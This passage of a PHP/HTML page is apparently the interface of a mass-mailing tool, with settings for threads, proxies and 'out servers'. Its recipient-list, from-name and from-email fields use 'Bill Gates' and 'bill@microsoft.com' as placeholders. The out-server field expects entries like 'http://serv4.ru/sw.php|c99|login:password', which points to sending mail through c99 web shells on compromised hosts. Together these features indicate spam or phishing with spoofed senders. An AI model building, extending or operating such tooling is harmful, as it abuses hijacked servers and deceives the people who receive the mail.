  1875.                         <li><a href="#prime" id="prime"><img alt="<?php tr('main',false);?>" src="data:image/png;base64,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"></a></li>
  1876.                         <li><a href="#help" id="help"><img alt="<?php tr('help',false);?>" src="data:image/png;base64,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"></a></li>
  1877.                         <li><a href="#settings" id="settings"><img alt="<?php tr('settings',false);?>" src="data:image/png;base64,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"></a></li>
  1878.                     </ul>
  1879.                     <ul class="nav pull-right">
  1880.                         <li><a href="#" onclick="setLang('ru');return false">
  1881.                             <img alt="русский" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAMAAADXqc3KAAABSlBMVEUAAAD///8AAQEAAQEAAQEAAQEAAQHT09PX19fa2trc3Nze3t7f39/Ozs719fX5+fn8/Pz9/f3+/v7+/v7+/v7+/v7+/v7ExMTz8/P4+Pj7+/v9/f3+/v7Dw8Py8vL4+Pj8/Pz9/f3CwsLw8PD39/f5+fn6+vr7+/sCAsA9Pe08PPU8PPc8PPg8PPkCAr8zM+syMvIyMvUyMvYxMfYCAr0oKOgnJ/AnJ/MnJ/QnJ/QCArslJeYnJ+4nJ/AnJ/EmJvICAroVFeEVFeoVFe0VFe4VFe+4AgLgERHoERHqERHrEBDsEBC2AgLdDQ3lDAzoDAzqDQ21AgLZCAjjCAjmCQnnCQnoCAizAgLXBQXfBQXjBQXkBQXlBQWzBQXVBwfbCAjhEBDjFhbmGxvlHBzmHx/mICDmISG4DAy5EBC9ERHAERHCERHDERHEERHpaBTVAAAAB3RSTlMAAAQMECQwISWBWgAAAGZJREFUKFPNjUEKgDAMBHdr0kP//1dBxdhIW1qoF0FwjjNkA3wPg4JOM+ZgF0ZWqnUOYRoPSlwF+WLXIWwxbwmUvtYHtTvE6dQvAnpK0HdTNVolh9Rsd2DgEsbPpZ4MnAabaic8eFyiFV6rXRgALgAAAABJRU5ErkJggg==" />
  1882.                         </a></li>
  1883.                         <li><a href="#" onclick="setLang('en');return false">
  1884.                             <img alt="english" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAEM0lEQVRIie2Ua0jVZxzHSxJ6YaBBCFFYYtpeNJagjqaDQalbi+zFaGkT5yzWiiajTYsZTXIt87Z5qdkU04aF9ww6HrVjamfaIW/pqSyPnTpXtSzzkqn77Hn+madYbzaKvdkfvi/O7/L5PpffeebN+//777/58xfU79hBl05Hi66LiH3FeH+UiffGLKHsORkM/dStXYva25u+7m7e257/Qj5L6QnbU0R9Rjbn/f3RZmUh2dLApWb3boxpaYz29zM9PU3LNRvHCjtIPtVBSlEHaac7mZn5E3tODraMDGYmJjhZrldysuZoQTuNrXcYLC3FlJ7OiNlMW1ubNHCRBq6+m5O5o2niVkwMQxUVAjaDwfyI2JTLbI2vVSQNDFFR3N66lenRUb460qTEv/yxEX1TJ8bYWOyFhTwZG8M+NEzQp2nSwFUxcHrrO3YmqvmjoQtjfDz3Dh3i6fAwY+OT/FzcSdg3KrGzGW6Hh9MbFsbU48d8kdjAkfyr2MoqMERHMyKOeGpqivbrNvYcqUMyXzD4lpBdpQTvqiTz93bMefn0btvGoytXlKb61rs8fTrFzS1buB4czOTDh9TVdWPcvx9jXBwTAwM8mZwkr6JbYUiWZDoMVu8jKKqYwM9LCIwuJTKhlpsXLnFdrNacnc2k2PakAOhDQugODGTiwQN6IyKwFRQocaPlITsPX1R6JUOyJHPO4KJGw+DgICMjI4wJ2Pj4+CvVGRREu5ikUVH7qrzslQzJ0gjmnEHuokU0rl5Ni48PV4R0/1KyVzIk64STk8MgR/zQrFqFdragVRaLef8nap3tlQzJOiEWPWegVqsxGo0MiMu6f/8+D8QZD4spelFDd+/StGQJWk/Pv+WkZI/slQzJqhFMxyX7fI3bulTcAn8RyuSDmGI69EaGhoa4kZREi58fA+JP2ODqStPy5Up80GqlR4z0ZXEc2oISAiKKlF6FIViS6TDw3ssi/6O4BKQRl1qL1WbH3NNDa2gorRs38lueGmtfH/Vi2w1Ll2K3D5BfplNW21deTqOXFx1x8ez+4bzCkCzJfMnAY306Zao2LBYLvWfO0LBiBVcPHWbz3hI8P/wVy61b1C5cyEVxTFarjYV+6WzfX4mh34RZr0crRrhZTFlR7jnc30952eDdLYnioevE0NuLTrxLGnFRlcfPsnxDNs6+KXgE53Dvxg1Uzs7ULl6MyWRW4lI+m3Kpbe4RMRPtCQlccHdH/VMqb4cedBhUV1fTrlJR4+uLNjKSg8lVCnyZkIQHhJ/CJHagWbmSS2vWYDZbWBF6XMkpNSE5JJ/UKJd7raqKc+LI8j/e5DAoOXCAXA8PTscnsO6TY7j5fT+rBEWrNiTRKKaiwM2NwmXLaGpunss907P69Z+lU3FOhUqYFIq7e27gIuQl9M5rltfz53rBrInra5aLwgbeqN64wV+Rl1Pcwvw+zwAAAABJRU5ErkJggg==" />
  1885.                         </a></li>
  1886.                     </ul>
  1887.                    
  1888.                 </div>
  1889.             </div>
  1890.            
  1891.         </div> 
  1892.     </div>
  1893.    
  1894.     <div class="row section-screen" id="help-screen">
  1895.         <div class="span12">
  1896.             <div class="well">
  1897.                 <?php tr('helppage',false);?>
  1898.             </div>
  1899.         </div>
  1900.     </div>
  1901.    
  1902.     <div class="row section-screen" id="preview-screen">
  1903.         <div class="span12">
  1904.             <div class="well">
  1905.                 <h3><?php tr('preview');?></h3>
  1906.                 <button class="btn prime-button"><?php tr('backtoeditor',false);?></button>
  1907.                 <iframe src="about:blank" style="width:100%; height:600px;"></iframe>
  1908.                 <button class="btn prime-button"><?php tr('backtoeditor',false);?></button>
  1909.             </div>
  1910.         </div>
  1911.     </div>
  1912.    
  1913.    
  1914.  
  1915.    
  1916.     <div class="row section-screen" id="settings-screen">
  1917.         <div class="span12">
  1918.             <div class="well">
  1919.                 <h2><?php tr('settings');?></h2>
  1920.                 <ul class="nav nav-tabs">
  1921.                     <li class="active"><a href="#home-tab"data-toggle="tab"><?php tr('settings-primary')?></a></li>
  1922.                     <li><a href="#outservers-tab" data-toggle="tab"><?php tr('settings-outservers')?></a></li>
  1923.                     <li><a href="#security-tab" data-toggle="tab"><?php tr('settings-security')?></a></li>
  1924.                 </ul>
  1925.                 <div class="tab-content">
  1926.                     <div class="tab-pane active" id="home-tab">
  1927.                         <?php tr('threadsnum');?><br>
  1928.                         <div class="btn-group">
  1929.                             <input type="button" class="btn" onclick="dThreads();" value="<?php tr('less',false);?>"><button class="btn" id="THREADS">4</button><input type="button" class="btn" onclick="iThreads();" value="<?php tr('more',false);?>">      
  1930.                         </div>
  1931.                        
  1932.                         <br><br>
  1933.                         <?php tr('timeoutlen');?><br>
  1934.                         <input type="text" class="input-mini" id="TIMEOUT" value="0" style="height:25px; margin-top:10px;"><div id="TIMEOUT_RANGE" min="0" max="3600"></div>
  1935.                         <br><br>
  1936.                         <?php tr('settings-history-length')?> <input type="text" class="input-mini" id="maxDoneSize" value="25" style="height:25px; margin-top:10px;">
  1937.                     </div>
  1938.                     <div class="tab-pane" id="outservers-tab">
  1939.                         <input type="checkbox" id="use_out_servers" style="display:none;">
  1940.                         <button type="button" class="btn btn-danger btn-checkbox" data-toggle="#use_out_servers"><i class="icon-remove"></i></button> <?php tr('useoutservers');?><br><br>
  1941.                         <?php tr('settings-outservers-doc')?>
  1942.                         <br>
  1943.                         <textarea id="out_servers" style="width:100%; height:250px;" placeholder="Пример: http://serv4.ru/sw.php|c99|login:password"></textarea><br>
  1944.                         <?php tr('settings-outservers-check')?>
  1945.                         <br><br>
  1946.                         <div class="progress" id="outprogressbar">
  1947.                             <div class="bar bar-warning" style="width: 0%;"></div>
  1948.                             <div class="barcounter">0/0</div>
  1949.                         </div>
  1950.                         <?php tr('settings-outservers-check-log')?>
  1951.                         <div class="well" id="pingout_log" style="width:860px; height:150px;overflow-y:scroll;"></div>
  1952.                     </div>
  1953.                     <div class="tab-pane" id="security-tab">
  1954.                         <?php
  1955.                         $no_write_perm=false;
  1956.                         clearstatcache();
  1957.                         if(!is_writable(__FILE__)):
  1958.                         $no_write_perm=true;
  1959.                         ?>
  1960.                         <div class="alert alert-error">
  1961.                         <?php tr('settings-security-notwritable')?>
  1962.                         </div>
  1963.                         <?php endif;?>
  1964.                         <div class="alert alert-success" style="display:none;" id="passchangesuccess">
  1965.                         <?php tr('settings-security-password-changed')?>
  1966.                         </div>
  1967.                         <div class="alert alert-error" style="display:none;" id="passchangeerror">
  1968.                         <?php tr('settings-security-password-not-changed')?>
  1969.                         </div>
  1970.                         <table border=0>
  1971.                             <tr>
  1972.                                 <td><input type="text" id="inputLogin" class="txtinput" placeholder="<?php tr('login',false);?>" <?php if($no_write_perm):?>readonly<?endif;?>></td>
  1973.                                 <td><input type="text" id="inputPassword" class="txtinput" placeholder="<?php tr('password',false);?>" <?php if($no_write_perm):?>readonly<?endif;?>></td>
  1974.                             </tr>
  1975.                             <tr>
  1976.                                 <td>
  1977.                                     <button type="button" class="btn" onclick="ChangePass($('#inputLogin').val(),$('#inputPassword').val())" <?php if($no_write_perm):?>disabled<?endif;?>><?php tr('settings-security-set-password')?></button>
  1978.                                 </td><td>
  1979.                                     <button type="button" class="btn btn-danger" onclick="ChangePass('','');" <?php if($no_write_perm):?>disabled<?endif;?>><?php tr('settings-security-remove-password')?></button>
  1980.                                 </td>
  1981.                             </tr>
  1982.                         </table>
  1983.                         <br><br>
  1984.                         <input type="checkbox" id="use_proxy_server" style="display:none;">
  1985.                         <button type="button" class="btn btn-danger btn-checkbox" data-toggle="#use_proxy_server"><i class="icon-remove"></i></button> <?php tr('settings-security-use-proxy')?><br>
  1986.                         <input type="text" class="txtinput" id="proxy_server_uri" placeholder="http://proxyserver.ru:8080">
  1987.                     </div>
  1988.                 </div>
  1989.             </div>
  1990.         </div>
  1991.     </div>
  1992.  
  1993.        
  1994.     <div class="row section-screen" id="prime-screen">
  1995.         <div class="span3">
  1996.             <div id="console" class="well" style="text-align:center;"><?php tr('status');?></div>
  1997.             <div id="ext-console" class="well"></div>  
  1998.         </div>
  1999.         <div class="span9">
  2000.             <div class="progress" id="progressbar">
  2001.                 <div class="bar bar-warning" style="width: 0%;"></div>
  2002.                 <div class="barcounter">0/0</div>
  2003.             </div>
  2004.             <div class="well status">
  2005.                 <b><?php tr('status');?>: <span class="label label-warning"><?php tr('status-idle');?></span></b>
  2006.                 <div class="controls">
  2007.                 <button class="btn" disabled="disabled" id="ResumeSendMail" onclick="ResumeSendMail()"><i class="icon-play"></i> <?php tr('process-resume');?></button> <button class="btn" disabled="disabled" id="PauseSendMail" onclick="PauseSendMail()"><i class="icon-pause"></i> <?php tr('process-pause');?></button> <button class="btn" disabled="disabled" id="StopSendMail" onclick="StopSendMail()"><i class="icon-stop"></i> <?php tr('process-cancel');?></button>  
  2008.                 </div>
  2009.             </div>
  2010.             <form class="form-horizontal">
  2011.                 <div class="control-group">
  2012.                     <label class="control-label" for="inputEmail"><?php tr('recipient');?> [TO-EMAIL]</label>
  2013.                     <div class="controls">
  2014.                         <textarea name="to" id="to" class="input-xlarge txtinput" placeholder="vasya@yandex.ru"></textarea>
  2015.                         <div class="input-append">
  2016.                             <span class="add-on" onclick="ShowUpload();return false" style="cursor:pointer;"><?php tr('upload');?></span>
  2017.                         </div>
  2018.                     </div>
  2019.                 </div>
  2020.                 <div class="control-group">
  2021.                     <label class="control-label" for="inputEmail"><?php tr('fromname');?> [FROM-NAME]</label>
  2022.                     <div class="controls">
  2023.                         <textarea name="fromname" id="fromname" class="input-xlarge txtinput" placeholder="Bill Gates"></textarea>
  2024.                     </div>
  2025.                 </div>
  2026.                 <div class="control-group">
  2027.                     <label class="control-label" for="inputEmail"><?php tr('frommail');?> [FROM-EMAIL]</label>
  2028.                     <div class="controls">
  2029.                         <textarea name="frommail" id="frommail" class="input-xlarge txtinput" placeholder="bill@microsoft.com"></textarea>
  2030.                     </div>
  2031.                 </div>
  2032.                 <div class="control-group">
  2033.                     <label class="control-label" for="inputEmail"><?php tr('replymail');?> [REPLY-EMAIL]</label>
  2034.                     <div class="controls">
  2035.                         <textarea name="replymail" id="replymail" class="input-xlarge txtinput" placeholder="my@email.com"></textarea>
  2036.                     </div>
  2037.                 </div>
  2038.                 <div class="control-group">
  2039.                     <label class="control-label" for="inputEmail"><?php tr('subject');?> [THEME]</label>
  2040.                     <div class="controls">
  2041.                         <textarea name="tema" id="tema" class="input-xlarge txtinput" placeholder="<?php tr('subject_example',false);?>"></textarea>
  2042.                     </div>
  2043.                 </div>
  2044.                 <div class="control-group">
  2045.                     <label class="control-label" for="inputEmail"><?php tr('addfield');?></label>
  2046.                     <div class="controls">
  2047.                         <div class="input-prepend">
  2048.                             <span class="add-on">[ADD0]</span>
  2049.                         </div>
  2050.                         <input type="text" name="additional" id="additional0" class="input-xlarge txtinput additional" placeholder="<?php tr('addfield2',false);?>"></textarea>
  2051.                         <div class="input-append">
  2052.                             <span class="add-on"><span class="addfield" onclick="AddField(this)">+</span></span>
  2053.                         </div>
  2054.                     </div>
  2055.                 </div>
  2056.                 <div class="control-group">
  2057.                     <label class="control-label" for="inputEmail"><?php tr('mailtype');?> (
  2058.                         <a href="#" rel="tooltip" data-title="<?php tr('plaintext',false);?>">text</a>,
  2059.                         <a href="#" rel="tooltip" data-title="<?php tr('withformating',false);?>">html</a>,
  2060.                         <a href="#" rel="tooltip" data-title="<?php tr('htmle',false);?>">html(e)</a>)
  2061.                     </label>
  2062.                     <div class="controls">
  2063.                         <select name="type" id="type">
  2064.                             <option value="html">html</option>
  2065.                             <option value="htmle">html(e)</option>
  2066.                             <option value="text">text</option>
  2067.                         </select>
  2068.                     </div>
  2069.                 </div>
  2070.                
  2071.                
  2072.                 <div class="btn-group" id="textcontrols">
  2073.                     <button id="makebold" onclick="MakeBold();return false" class="btn">B</button>
